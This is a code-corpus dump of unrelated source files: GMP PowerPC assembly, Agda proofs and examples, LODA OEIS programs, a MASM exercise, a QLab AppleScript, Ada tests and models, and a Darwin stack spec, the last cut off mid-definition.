libtool/src/gmp-6.1.2/mpn/powerpc32/invert_limb.asm
kroggen/aergo
1,602
179344
<filename>libtool/src/gmp-6.1.2/mpn/powerpc32/invert_limb.asm dnl PowerPC-32 mpn_invert_limb -- Invert a normalized limb. dnl Copyright 2011 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C 603e: ? C 604e: ? C 75x (G3): ? C 7400,7410 (G4): ? C 744x,745x (G4+): 32 C power4/ppc970: ? C power5: ? EXTERN(approx_tab) ASM_START() PROLOGUE(mpn_invert_limb) rlwinm r6, r3, 11, 22, 30 C extract bits 30..22 to pos 2^1 srwi r10, r3, 11 C extract bits 31..11 LEA( r9, approx_tab) C N.B. clobbers r0 for ELF and Darwin lhzx r9, r9, r6 C w2 addi r0, r10, 1 mullw r11, r9, r9 slwi r9, r9, 4 mulhwu r7, r11, r0 rlwinm r11, r3, 0, 31, 31 C extract bit 0 addi r0, r9, -1 srwi r9, r3, 1 C d >> 1 subf r0, r7, r0 C w1 add r9, r9, r11 C d31 mullw r9, r0, r9 C w1 * d31 srwi r10, r0, 1 C w1 >> 1 neg r11, r11 and r11, r10, r11 subf r11, r9, r11 mulhwu r9, r11, r0 slwi r0, r0, 15 srwi r9, r9, 1 add r0, r9, r0 C w0 mullw r10, r0, r3 mulhwu r9, r0, r3 addc r11, r10, r3 adde r3, r9, r3 subf r3, r3, r0 blr EPILOGUE() DEF_OBJECT(approx_tab) .short 0x7fe1,0x7fa1,0x7f61,0x7f22,0x7ee3,0x7ea4,0x7e65,0x7e27 .short 0x7de9,0x7dab,0x7d6d,0x7d30,0x7cf3,0x7cb6,0x7c79,0x7c3d .short 0x7c00,0x7bc4,0x7b89,0x7b4d,0x7b12,0x7ad7,0x7a9c,0x7a61 .short 0x7a27,0x79ec,0x79b2,0x7979,0x793f,0x7906,0x78cc,0x7894 .short 0x785b,0x7822,0x77ea,0x77b2,0x777a,0x7742,0x770b,0x76d3 .short 0x769c,0x7665,0x762f,0x75f8,0x75c2,0x758c,0x7556,0x7520 .short 0x74ea,0x74b5,0x7480,0x744b,0x7416,0x73e2,0x73ad,0x7379 .short 0x7345,0x7311,0x72dd,0x72aa,0x7277,0x7243,0x7210,0x71de .short 0x71ab,0x7179,0x7146,0x7114,0x70e2,0x70b1,0x707f,0x704e .short 0x701c,0x6feb,0x6fba,0x6f8a,0x6f59,0x6f29,0x6ef9,0x6ec8 .short 0x6e99,0x6e69,0x6e39,0x6e0a,0x6ddb,0x6dab,0x6d7d,0x6d4e .short 0x6d1f,0x6cf1,0x6cc2,0x6c94,0x6c66,0x6c38,0x6c0a,0x6bdd .short 0x6bb0,0x6b82,0x6b55,0x6b28,0x6afb,0x6acf,0x6aa2,0x6a76 .short 0x6a49,0x6a1d,0x69f1,0x69c6,0x699a,0x696e,0x6943,0x6918 .short 0x68ed,0x68c2,0x6897,0x686c,0x6842,0x6817,0x67ed,0x67c3 .short 0x6799,0x676f,0x6745,0x671b,0x66f2,0x66c8,0x669f,0x6676 .short 0x664d,0x6624,0x65fc,0x65d3,0x65aa,0x6582,0x655a,0x6532 .short 0x650a,0x64e2,0x64ba,0x6493,0x646b,0x6444,0x641c,0x63f5 .short 0x63ce,0x63a7,0x6381,0x635a,0x6333,0x630d,0x62e7,0x62c1 .short 0x629a,0x6275,0x624f,0x6229,0x6203,0x61de,0x61b8,0x6193 .short 0x616e,0x6149,0x6124,0x60ff,0x60da,0x60b6,0x6091,0x606d .short 0x6049,0x6024,0x6000,0x5fdc,0x5fb8,0x5f95,0x5f71,0x5f4d .short 0x5f2a,0x5f07,0x5ee3,0x5ec0,0x5e9d,0x5e7a,0x5e57,0x5e35 .short 0x5e12,0x5def,0x5dcd,0x5dab,0x5d88,0x5d66,0x5d44,0x5d22 .short 0x5d00,0x5cde,0x5cbd,0x5c9b,0x5c7a,0x5c58,0x5c37,0x5c16 .short 0x5bf5,0x5bd4,0x5bb3,0x5b92,0x5b71,0x5b51,0x5b30,0x5b10 .short 0x5aef,0x5acf,0x5aaf,0x5a8f,0x5a6f,0x5a4f,0x5a2f,0x5a0f .short 0x59ef,0x59d0,0x59b0,0x5991,0x5972,0x5952,0x5933,0x5914 .short 0x58f5,0x58d6,0x58b7,0x5899,0x587a,0x585b,0x583d,0x581f .short 0x5800,0x57e2,0x57c4,0x57a6,0x5788,0x576a,0x574c,0x572e .short 0x5711,0x56f3,0x56d5,0x56b8,0x569b,0x567d,0x5660,0x5643 .short 0x5626,0x5609,0x55ec,0x55cf,0x55b2,0x5596,0x5579,0x555d .short 0x5540,0x5524,0x5507,0x54eb,0x54cf,0x54b3,0x5497,0x547b .short 0x545f,0x5443,0x5428,0x540c,0x53f0,0x53d5,0x53b9,0x539e .short 0x5383,0x5368,0x534c,0x5331,0x5316,0x52fb,0x52e0,0x52c6 .short 0x52ab,0x5290,0x5276,0x525b,0x5240,0x5226,0x520c,0x51f1 .short 0x51d7,0x51bd,0x51a3,0x5189,0x516f,0x5155,0x513b,0x5121 .short 0x5108,0x50ee,0x50d5,0x50bb,0x50a2,0x5088,0x506f,0x5056 .short 0x503c,0x5023,0x500a,0x4ff1,0x4fd8,0x4fbf,0x4fa6,0x4f8e .short 0x4f75,0x4f5c,0x4f44,0x4f2b,0x4f13,0x4efa,0x4ee2,0x4eca .short 0x4eb1,0x4e99,0x4e81,0x4e69,0x4e51,0x4e39,0x4e21,0x4e09 .short 0x4df1,0x4dda,0x4dc2,0x4daa,0x4d93,0x4d7b,0x4d64,0x4d4d .short 0x4d35,0x4d1e,0x4d07,0x4cf0,0x4cd8,0x4cc1,0x4caa,0x4c93 .short 0x4c7d,0x4c66,0x4c4f,0x4c38,0x4c21,0x4c0b,0x4bf4,0x4bde .short 0x4bc7,0x4bb1,0x4b9a,0x4b84,0x4b6e,0x4b58,0x4b41,0x4b2b .short 0x4b15,0x4aff,0x4ae9,0x4ad3,0x4abd,0x4aa8,0x4a92,0x4a7c .short 0x4a66,0x4a51,0x4a3b,0x4a26,0x4a10,0x49fb,0x49e5,0x49d0 .short 0x49bb,0x49a6,0x4990,0x497b,0x4966,0x4951,0x493c,0x4927 .short 0x4912,0x48fe,0x48e9,0x48d4,0x48bf,0x48ab,0x4896,0x4881 .short 0x486d,0x4858,0x4844,0x482f,0x481b,0x4807,0x47f3,0x47de .short 0x47ca,0x47b6,0x47a2,0x478e,0x477a,0x4766,0x4752,0x473e .short 0x472a,0x4717,0x4703,0x46ef,0x46db,0x46c8,0x46b4,0x46a1 .short 0x468d,0x467a,0x4666,0x4653,0x4640,0x462c,0x4619,0x4606 .short 0x45f3,0x45e0,0x45cd,0x45ba,0x45a7,0x4594,0x4581,0x456e .short 0x455b,0x4548,0x4536,0x4523,0x4510,0x44fe,0x44eb,0x44d8 .short 0x44c6,0x44b3,0x44a1,0x448f,0x447c,0x446a,0x4458,0x4445 .short 0x4433,0x4421,0x440f,0x43fd,0x43eb,0x43d9,0x43c7,0x43b5 .short 0x43a3,0x4391,0x437f,0x436d,0x435c,0x434a,0x4338,0x4327 .short 0x4315,0x4303,0x42f2,0x42e0,0x42cf,0x42bd,0x42ac,0x429b .short 0x4289,0x4278,0x4267,0x4256,0x4244,0x4233,0x4222,0x4211 .short 0x4200,0x41ef,0x41de,0x41cd,0x41bc,0x41ab,0x419a,0x418a .short 0x4179,0x4168,0x4157,0x4147,0x4136,0x4125,0x4115,0x4104 .short 0x40f4,0x40e3,0x40d3,0x40c2,0x40b2,0x40a2,0x4091,0x4081 .short 0x4071,0x4061,0x4050,0x4040,0x4030,0x4020,0x4010,0x4000 END_OBJECT(approx_tab) ASM_END()
presentationsAndExampleCode/agdaImplementorsMeetingGlasgow22April2016AntonSetzer/objectsInAgda.agda
agda/ooAgda
23
32
<gh_stars>10-100 module objectsInAgda where open import Data.Product open import interactiveProgramsAgda hiding (main) open import NativeIO open import Data.String.Base record Interface : Set₁ where field Method : Set Result : (m : Method) → Set open Interface public record Object (I : Interface) : Set where coinductive field objectMethod : (m : Method I) → Result I m × Object I open Object public open import Size record IOObject (Iᵢₒ : IOInterface) (I : Interface) (i : Size) : Set where coinductive field method : ∀{j : Size< i} (m : Method I) → IO Iᵢₒ ∞ (Result I m × IOObject Iᵢₒ I j) open IOObject public {- Example Cell -} data CellMethod A : Set where get : CellMethod A put : A → CellMethod A CellResult : ∀{A} → CellMethod A → Set CellResult {A} get = A CellResult (put _) = Unit cellI : (A : Set) → Interface Method (cellI A) = CellMethod A Result (cellI A) m = CellResult m {- A cell as an Object -} Cell : Set → Set Cell A = Object (cellI A) cell : {A : Set} → A → Cell A objectMethod (cell a) get = a , cell a objectMethod (cell a) (put a') = unit , cell a' {- A cell as an IOObject -} CellC : (i : Size) → Set CellC = IOObject ConsoleInterface (cellI String) simpleCell : ∀{i} (s : String) → CellC i force (method (simpleCell s) get) = do' (putStrLn ("getting (" ++ s ++ ")")) λ _ → return (s , simpleCell s) force (method (simpleCell _) (put s)) = do' (putStrLn ("putting (" ++ s ++ ")")) λ _ → return (_ , simpleCell s) program : ∀{i} → CellC ∞ → IO ConsoleInterface i Unit force (program c) = do' getLine λ s → method c (put s) >>= λ{ (_ , c) → method c get >>= λ{ (s' , c) → do (putStrLn s') λ _ → program c }} main : NativeIO Unit main = translateIOConsole (program (simpleCell "Start"))
programs/oeis/184/A184615.asm
neoneye/loda
22
98501
<reponame>neoneye/loda<gh_stars>10-100 ; A184615: Positive parts of the nonadjacent forms for n ; 0,1,2,4,4,5,8,8,8,9,10,16,16,17,16,16,16,17,18,20,20,21,32,32,32,33,34,32,32,33,32,32,32,33,34,36,36,37,40,40,40,41,42,64,64,65,64,64,64,65,66,68,68,69,64,64,64,65,66,64,64,65,64,64,64,65,66,68,68,69,72,72,72,73,74,80,80,81,80,80,80,81,82,84,84,85,128,128,128,129,130,128,128,129,128,128,128,129,130,132 mov $1,$0 seq $1,184617 ; With nonadjacent forms: A184615(n) + A184616(n). add $0,$1 div $0,2
masm(msdos)/ejercicio2.asm
GioProyects/ensamblador
0
88547
<filename>masm(msdos)/ejercicio2.asm<gh_stars>0 ;Escribir un código que verifique si una cadena es subcadena de otra. ;Por ejemplo: “la Mu” es subcadena de “Hola Mundo”. ;La cadena: “233” es subcadena de la cadena “2122432234” .model small ;.stack 100h .data cad1 db "hola mundo$" subc db "la un$" iguales db "es subcadena$" desiguales db "no es subcadena$" .code main proc far mov ax,@data mov ds,ax comienzo: mov al,cad1[si] cmp al,subc[di] jne incremento inc di cmp subc[di],'$' jz sies incremento: inc si cmp cad1[si],'$' jne comienzo jz noes sies: mov ah,09h lea dx,iguales int 21h jmp salir noes: mov ah,09h lea dx,desiguales int 21h salir: mov ax,4c00h int 21h main endp end
programs/oeis/313/A313831.asm
neoneye/loda
22
172194
; A313831: Coordination sequence Gal.6.328.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,16,20,25,31,36,40,46,51,56,61,66,72,76,81,87,92,96,102,107,112,117,122,128,132,137,143,148,152,158,163,168,173,178,184,188,193,199,204,208,214,219,224,229,234,240,244,249 mov $3,$0 mul $3,15 mov $4,$3 div $3,11 div $4,-55 mov $5,$3 trn $5,1 add $4,$5 mov $1,$4 add $1,1 mov $2,$0 mul $2,4 add $1,$2 mov $0,$1
10 Adapted from others/11 Rich Walsh/04 Cue Lists/Create start cue in Main Cue List.applescript
streth11/Qlab-Scripts
0
4372
<gh_stars>0 -- @description Create start cue in Main Cue List -- @author <NAME> -- @link bensmithsound.uk -- @source <NAME> (adapted) -- @version 1.0 -- @testedmacos 10.13.6 -- @testedqlab 4.6.9 -- @about Creates a cue at the end of Main Cue List targeting the currently selected cue in another cue list. -- @separateprocess FALSE -- @changelog -- v1.0 + init -- USER DEFINED VARIABLES ----------------- set userCueList to "Main Cue List" ---------- END OF USER DEFINED VARIABLES -- -- RUN SCRIPT ----------------------------- tell front workspace set originalCueList to q name of current cue list if originalCueList is not userCueList then set selectedCues to selected as list set current cue list to first cue list whose q name is userCueList repeat with eachCue in selectedCues make type "Start" set newCue to last item of (selected as list) set cue target of newCue to eachCue set nameString to "" set eachNumber to q number of eachCue set eachName to q name of eachCue if eachName is not "" then set nameString to nameString & eachName end if if originalCueList is not "" then set nameString to nameString & " | " & originalCueList end if set q name of newCue to nameString set q number of newCue to ("s" & eachNumber) end repeat delay 0.5 -- Let you see it set current cue list to first cue list whose q name is originalCueList set playback position of current cue list to last item of selectedCues (* This will maintain the selection (more or less) if "Playback position is always the selected cue" is ON *) end if end tell
src/root2.agda
shinji-kono/automaton-in-agda
0
12202
<gh_stars>0 module root2 where open import Data.Nat open import Data.Nat.Properties open import Data.Empty open import Data.Unit using (⊤ ; tt) open import Relation.Nullary open import Relation.Binary.PropositionalEquality open import Relation.Binary.Definitions import gcd as GCD open import even open import nat open import logic record Rational : Set where field i j : ℕ coprime : GCD.gcd i j ≡ 1 -- record Dividable (n m : ℕ ) : Set where -- field -- factor : ℕ -- is-factor : factor * n + 0 ≡ m gcd : (i j : ℕ) → ℕ gcd = GCD.gcd gcd-euclid : ( p a b : ℕ ) → 1 < p → 0 < a → 0 < b → ((i : ℕ ) → i < p → 0 < i → gcd p i ≡ 1) → Dividable p (a * b) → Dividable p a ∨ Dividable p b gcd-euclid = GCD.gcd-euclid gcd-div1 : ( i j k : ℕ ) → k > 1 → (if : Dividable k i) (jf : Dividable k j ) → Dividable k ( gcd i j ) gcd-div1 = GCD.gcd-div open _∧_ open import prime divdable^2 : ( n k : ℕ ) → 1 < k → 1 < n → Prime k → Dividable k ( n * n ) → Dividable k n divdable^2 zero zero () 1<n pk dn2 divdable^2 (suc n) (suc k) 1<k 1<n pk dn2 with decD {suc k} {suc n} 1<k ... | yes y = y ... | no non with gcd-euclid (suc k) (suc n) (suc n) 1<k (<-trans a<sa 1<n) (<-trans a<sa 1<n) (Prime.isPrime pk) dn2 ... | case1 dn = dn ... | case2 dm = dm -- p * n * n ≡ m * m means (m/n)^2 = p -- rational m/n requires m and n is comprime each other which contradicts the condition root-prime-irrational : ( n m p : ℕ ) → n > 1 → Prime p → m > 1 → p * n * n ≡ m * m → ¬ (gcd n m ≡ 1) root-prime-irrational n m 0 n>1 pn m>1 pnm = ⊥-elim ( nat-≡< refl (<-trans a<sa (Prime.p>1 pn))) root-prime-irrational n m (suc p0) n>1 pn m>1 pnm = rot13 ( gcd-div1 n m (suc p0) 1<sp dn dm ) where p = suc p0 1<sp : 1 < p 1<sp = Prime.p>1 pn rot13 : {m : ℕ } → Dividable (suc p0) m → m ≡ 1 → ⊥ rot13 d refl with Dividable.factor d | Dividable.is-factor d ... | zero | () -- gcd 0 m ≡ 1 ... | suc n | x = ⊥-elim ( nat-≡< (sym x) rot17 ) where -- x : (suc n * p + 0) ≡ 1 rot17 : suc n * (suc p0) + 0 > 1 rot17 = begin 2 ≡⟨ refl ⟩ suc (1 * 1 ) ≤⟨ 1<sp ⟩ suc p0 ≡⟨ cong suc (+-comm 0 _) ⟩ suc (p0 + 0) ≤⟨ s≤s (+-monoʳ-≤ p0 z≤n) ⟩ suc (p0 + n * p ) ≡⟨ +-comm 0 _ ⟩ suc n * p + 0 ∎ where open ≤-Reasoning dm : Dividable p m dm = divdable^2 m p 1<sp m>1 pn record { factor = n * n ; is-factor = begin (n * n) * p + 0 ≡⟨ +-comm _ 0 ⟩ (n * n) * p ≡⟨ *-comm (n * n) p ⟩ p * (n * n) ≡⟨ sym (*-assoc p n n) ⟩ (p * n) * n ≡⟨ pnm ⟩ m * m ∎ } where open ≡-Reasoning -- p * n * n = 2m' 2m' -- n * n = m' 2m' df = Dividable.factor dm dn : Dividable p n dn = divdable^2 n p 1<sp n>1 pn record { factor = df * df ; is-factor = begin df * df * p + 0 ≡⟨ *-cancelʳ-≡ _ _ {p0} ( begin (df * df * p + 0) * p ≡⟨ cong (λ k → k * p) (+-comm (df * df * p) 0) ⟩ ((df * df) * p ) * p ≡⟨ cong (λ k → k * p) (*-assoc df df p ) ⟩ (df * (df * p)) * p ≡⟨ cong (λ k → (df * k ) * p) (*-comm df p) ⟩ (df * (p * df)) * p ≡⟨ sym ( cong (λ k → k * p) (*-assoc df p df ) ) ⟩ ((df * p) * df) * p ≡⟨ *-assoc (df * p) df p ⟩ (df * p) * (df * p) ≡⟨ cong₂ (λ j k → j * k ) (+-comm 0 (df * p)) (+-comm 0 _) ⟩ (df * p + 0) * (df * p + 0) ≡⟨ cong₂ (λ j k → j * k) (Dividable.is-factor dm ) (Dividable.is-factor dm )⟩ m * m ≡⟨ sym pnm ⟩ p * n * n ≡⟨ cong (λ k → k * n) (*-comm p n) ⟩ n * p * n ≡⟨ *-assoc n p n ⟩ n * (p * n) ≡⟨ cong (λ k → n * k) (*-comm p n) ⟩ n * (n * p) ≡⟨ sym (*-assoc n n p) ⟩ n * n * p ∎ ) ⟩ n * n ∎ } where open ≡-Reasoning Rational* : (r s : Rational) → Rational Rational* r s = record { i = {!!} ; j = {!!} ; coprime = {!!} } _r=_ : Rational → ℕ → Set r r= n = (Rational.i r ≡ n) ∧ (Rational.j r ≡ 1) root-prime-irrational1 : ( p : ℕ ) → Prime p → ¬ ( ( r : Rational ) → Rational* r r r= p ) root-prime-irrational1 = {!!}
oeis/159/A159566.asm
neoneye/loda-programs
11
246500
<reponame>neoneye/loda-programs ; A159566: Decimal expansion of (243+22*sqrt(2))/241. ; Submitted by <NAME> ; 1,1,3,7,3,9,7,0,8,8,6,8,1,3,6,1,3,7,3,7,4,9,5,3,1,7,5,0,7,5,7,7,3,1,7,7,4,8,0,7,1,8,9,9,6,3,7,2,7,3,5,6,2,5,5,6,4,2,6,8,4,4,5,7,4,0,9,9,4,2,3,8,3,9,2,6,0,0,1,4,7,2,4,2,6,1,7,6,4,5,5,4,1,5,8,0,1,3,0,5 bin $1,$0 mov $2,2 mov $3,$0 mul $3,4 lpb $3 add $5,$2 add $1,$5 add $2,$1 mov $1,$2 sub $3,1 lpe mul $1,2 add $2,$5 mov $4,10 pow $4,$0 add $5,$2 div $2,3 mul $2,27 add $2,$5 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
oeis/157/A157923.asm
neoneye/loda-programs
11
84389
; A157923: a(n) = 49*n^2 - n. ; 48,194,438,780,1220,1758,2394,3128,3960,4890,5918,7044,8268,9590,11010,12528,14144,15858,17670,19580,21588,23694,25898,28200,30600,33098,35694,38388,41180,44070,47058,50144,53328,56610,59990,63468,67044,70718,74490,78360,82328,86394,90558,94820,99180,103638,108194,112848,117600,122450,127398,132444,137588,142830,148170,153608,159144,164778,170510,176340,182268,188294,194418,200640,206960,213378,219894,226508,233220,240030,246938,253944,261048,268250,275550,282948,290444,298038,305730,313520 mov $1,7 mov $2,$0 add $2,1 mul $1,$2 pow $1,2 sub $1,$2 mov $0,$1
source/machine-apple-darwin/s-stack.ads
ytomino/drake
33
10798
<filename>source/machine-apple-darwin/s-stack.ads pragma License (Unrestricted); -- runtime unit specialized for Darwin with C.pthread; with C.signal; package System.Stack is pragma Preelaborate; procedure Get ( Thread : C.pthread.pthread_t := C.pthread.pthread_self; Top, Bottom : out Address); procedure Fake_Return_From_Signal_Handler; function Fault_Address (Info : C.signal.siginfo_t) return Address; pragma Inline (Fault_Address); end System.Stack;
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c43106a.ada
best08618/asylo
7
21048
-- C43106A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT BOTH NAMED AND POSITIONAL NOTATIONS ARE PERMITTED -- WITHIN THE SAME RECORD AGGREGATE, (PROVIDED THAT ALL POSITIONAL -- ASSOCIATIONS APPEAR BEFORE ANY NAMED ASSOCIATION). -- HISTORY: -- DHH 08/10/88 CREATED ORIGIANL TEST. WITH REPORT; USE REPORT; PROCEDURE C43106A IS TYPE REC IS RECORD A : INTEGER; B : CHARACTER; C : BOOLEAN; D, E, F, G : INTEGER; H, I, J, K : CHARACTER; L, M, N, O : BOOLEAN; P, Q, R, S : STRING(1 .. 3); T, U, V, W, X, Y, Z : BOOLEAN; END RECORD; AGG : REC := (12, 'A', TRUE, 1, 2, 3, 4, 'B', 'C', 'D', 'E', P|R => "ABC", S|Q => "DEF", L|X|O|U => TRUE, OTHERS => FALSE); FUNCTION IDENT_CHAR(X : CHARACTER) RETURN CHARACTER IS BEGIN IF EQUAL(3, 3) THEN RETURN X; ELSE RETURN 'Z'; END IF; END IDENT_CHAR; BEGIN TEST("C43106A", "CHECK THAT BOTH NAMED AND POSITIONAL NOTATIONS " & "ARE PERMITTED WITHIN THE SAME RECORD " & "AGGREGATE, (PROVIDED THAT ALL POSITIONAL " & "ASSOCIATIONS APPEAR BEFORE ANY NAMED " & "ASSOCIATION)"); IF NOT IDENT_BOOL(AGG.C) OR NOT IDENT_BOOL(AGG.L) OR NOT IDENT_BOOL(AGG.X) OR NOT IDENT_BOOL(AGG.O) OR NOT IDENT_BOOL(AGG.U) OR IDENT_BOOL(AGG.M) OR IDENT_BOOL(AGG.N) OR IDENT_BOOL(AGG.T) OR IDENT_BOOL(AGG.V) OR IDENT_BOOL(AGG.W) OR IDENT_BOOL(AGG.Y) OR IDENT_BOOL(AGG.Z) THEN FAILED("BOOLEANS NOT INITIALIZED TO AGGREGATE VALUES"); END IF; IF IDENT_STR(AGG.P) /= IDENT_STR(AGG.R) OR IDENT_STR(AGG.Q) /= IDENT_STR(AGG.S) THEN FAILED("STRINGS NOT INITIALIZED CORRECTLY"); END IF; IF IDENT_CHAR(AGG.B) /= IDENT_CHAR('A') OR IDENT_CHAR(AGG.H) /= IDENT_CHAR('B') OR IDENT_CHAR(AGG.I) /= IDENT_CHAR('C') OR IDENT_CHAR(AGG.J) /= IDENT_CHAR('D') OR IDENT_CHAR(AGG.K) /= IDENT_CHAR('E') THEN FAILED("CHARACTERS NOT INITIALIZED CORRECTLY"); END IF; RESULT; END C43106A;
Sources/Model/cube_p.adb
ForYouEyesOnly/Space-Convoy
1
19288
<reponame>ForYouEyesOnly/Space-Convoy -- -- Jan & <NAME>, Australia, July 2011 -- with GL, GL.Materials, GLOBE_3D.Math; package body Cube_P is -- Pretty output: FALSE use GL, GL.Materials, GLOBE_3D, GLOBE_3D.Math; -- begin Separator # 1 -- VRML: [# triangle mesh -- ] matos_1 : constant Material_type := (ambient => (0.0, 0.0, 0.0, 1.0), specular => (0.0, 0.0, 0.0, 1.0), diffuse => (1.0, 1.0, 1.0, 1.0), emission => (0.0, 0.0, 0.0, 1.0), shininess => 128.0); matos_red : constant Material_type := (ambient => (0.0, 0.0, 0.0, 1.0), specular => (0.0, 0.0, 0.0, 1.0), diffuse => (1.0, 0.0, 0.0, 1.0), emission => (0.0, 0.0, 0.0, 1.0), shininess => 128.0); matos_blue : constant Material_type := (ambient => (0.0, 0.0, 0.0, 1.0), specular => (0.0, 0.0, 0.0, 1.0), diffuse => (0.0, 0.0, 1.0, 1.0), emission => (0.0, 0.0, 0.0, 1.0), shininess => 128.0); coord_1 : constant Point_3D_array := ((0.0, 0.0, 0.0), -- VRML: [# coord point 0 -- ] (0.0, 0.0, 1.0), (1.0, 0.0, 0.0), (1.0, 0.0, 1.0), (1.0, 0.0, 0.0), (1.0, 0.0, 1.0), (1.0, 1.0, 0.0), (1.0, 1.0, 1.0), (1.0, 1.0, 0.0), (1.0, 1.0, 1.0), (0.0, 1.0, 0.0), (0.0, 1.0, 1.0), (0.0, 1.0, 0.0), (0.0, 1.0, 1.0), (0.0, 0.0, 0.0), (0.0, 0.0, 1.0), (0.0, 0.0, 0.0), (1.0, 0.0, 0.0), (1.0, 1.0, 0.0), (0.0, 1.0, 0.0), (0.0, 0.0, 1.0), (1.0, 0.0, 1.0), (1.0, 1.0, 1.0), (0.0, 1.0, 1.0) -- 24 ); -- VRML: [# 24 vertices -- ] -- begin Separator # 2 -- VRML: [#triangle mesh -- ] idx_2 : constant Idx_4_array_array := ((1, 3, 4, 0), -- VRML: [# triangle 0 -- ] (1, 4, 2, 0), (5, 7, 8, 0), (5, 8, 6, 0), (9, 11, 12, 0), (9, 12, 10, 0), (13, 15, 16, 0), (13, 16, 14, 0), (18, 17, 20, 0), (20, 19, 18, 0), (22, 24, 21, 0), (24, 22, 23, 0) -- 12 ); -- VRML: [# 12 triangles -- ] -- last index now: 0 -- end Separator # 2 -- VRML: [#triangle mesh -- ] -- last index now: 0 -- end Separator # 2 -- VRML: [# triangle mesh -- ] procedure Create (object : in out GLOBE_3D.p_Object_3D; object_scale : GLOBE_3D.Real; centre : GLOBE_3D.Point_3D) is face_0 : Face_type; -- takes defaults values begin object := new Object_3D (Max_points => 24, Max_faces => 12); object.all.Centre := centre; Set_name (object.all, "insect_body"); face_0.skin := material_only; face_0.material := VRML_Defaults; -- Creating separator # 1 if Almost_zero (object_scale - 1.0) then object.all.Point (1 .. 24) := coord_1; else for p in 1 .. 24 loop object.all.Point (0 + p) := object_scale * coord_1 (p); end loop; end if; face_0.material := matos_1; -- Creating separator # 2 for f in 1 .. 12 loop face_0.P := idx_2 (f); object.all.face (0 + f) := face_0; end loop; for f in 9 .. 10 loop object.all.face (f).material := matos_red; end loop; for f in 11 .. 12 loop object.all.face (f).material := matos_blue; end loop; end Create; end Cube_P; -- Converted by Wrl2Ada
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_iy/tshc_cls_wc_callee.asm
jpoikela/z88dk
640
84010
; void tshc_cls_wc(struct r_Rect8 *r, uchar attr) SECTION code_clib SECTION code_arch PUBLIC _tshc_cls_wc_callee EXTERN asm_tshc_cls_wc _tshc_cls_wc_callee: pop hl pop ix dec sp ex (sp),hl ld l,h jp asm_tshc_cls_wc
Definition/LogicalRelation/Properties/Neutral.agda
Vtec234/logrel-mltt
0
11761
{-# OPTIONS --without-K --safe #-} open import Definition.Typed.EqualityRelation module Definition.LogicalRelation.Properties.Neutral {{eqrel : EqRelSet}} where open EqRelSet {{...}} open import Definition.Untyped open import Definition.Untyped.Properties open import Definition.Typed open import Definition.Typed.Properties import Definition.Typed.Weakening as Wk open import Definition.LogicalRelation open import Definition.LogicalRelation.ShapeView open import Definition.LogicalRelation.Irrelevance open import Definition.LogicalRelation.Properties.Reflexivity open import Definition.LogicalRelation.Properties.Escape open import Definition.LogicalRelation.Properties.Symmetry open import Tools.Product import Tools.PropositionalEquality as PE -- Neutral reflexive types are reducible. neu : ∀ {l Γ A} (neA : Neutral A) → Γ ⊢ A → Γ ⊢ A ~ A ∷ U → Γ ⊩⟨ l ⟩ A neu neA A A~A = ne′ _ (idRed:*: A) neA A~A -- Helper function for reducible neutral equality of a specific type of derivation. neuEq′ : ∀ {l Γ A B} ([A] : Γ ⊩⟨ l ⟩ne A) (neA : Neutral A) (neB : Neutral B) → Γ ⊢ A → Γ ⊢ B → Γ ⊢ A ~ B ∷ U → Γ ⊩⟨ l ⟩ A ≡ B / ne-intr [A] neuEq′ (noemb (ne K [ ⊢A , ⊢B , D ] neK K≡K)) neA neB A B A~B = let A≡K = whnfRed* D (ne neA) in ne₌ _ (idRed:*: B) neB (PE.subst (λ x → _ ⊢ x ~ _ ∷ _) A≡K A~B) neuEq′ (emb 0<1 x) neB A:≡:B = neuEq′ x neB A:≡:B -- Neutrally equal types are of reducible equality. neuEq : ∀ {l Γ A B} ([A] : Γ ⊩⟨ l ⟩ A) (neA : Neutral A) (neB : Neutral B) → Γ ⊢ A → Γ ⊢ B → Γ ⊢ A ~ B ∷ U → Γ ⊩⟨ l ⟩ A ≡ B / [A] neuEq [A] neA neB A B A~B = irrelevanceEq (ne-intr (ne-elim neA [A])) [A] (neuEq′ (ne-elim neA [A]) neA neB A B A~B) mutual -- Neutral reflexive terms are reducible. neuTerm : ∀ {l Γ A n} ([A] : Γ ⊩⟨ l ⟩ A) (neN : Neutral n) → Γ ⊢ n ∷ A → Γ ⊢ n ~ n ∷ A → Γ ⊩⟨ l ⟩ n ∷ A / [A] neuTerm (Uᵣ′ .⁰ 0<1 ⊢Γ) neN n n~n = 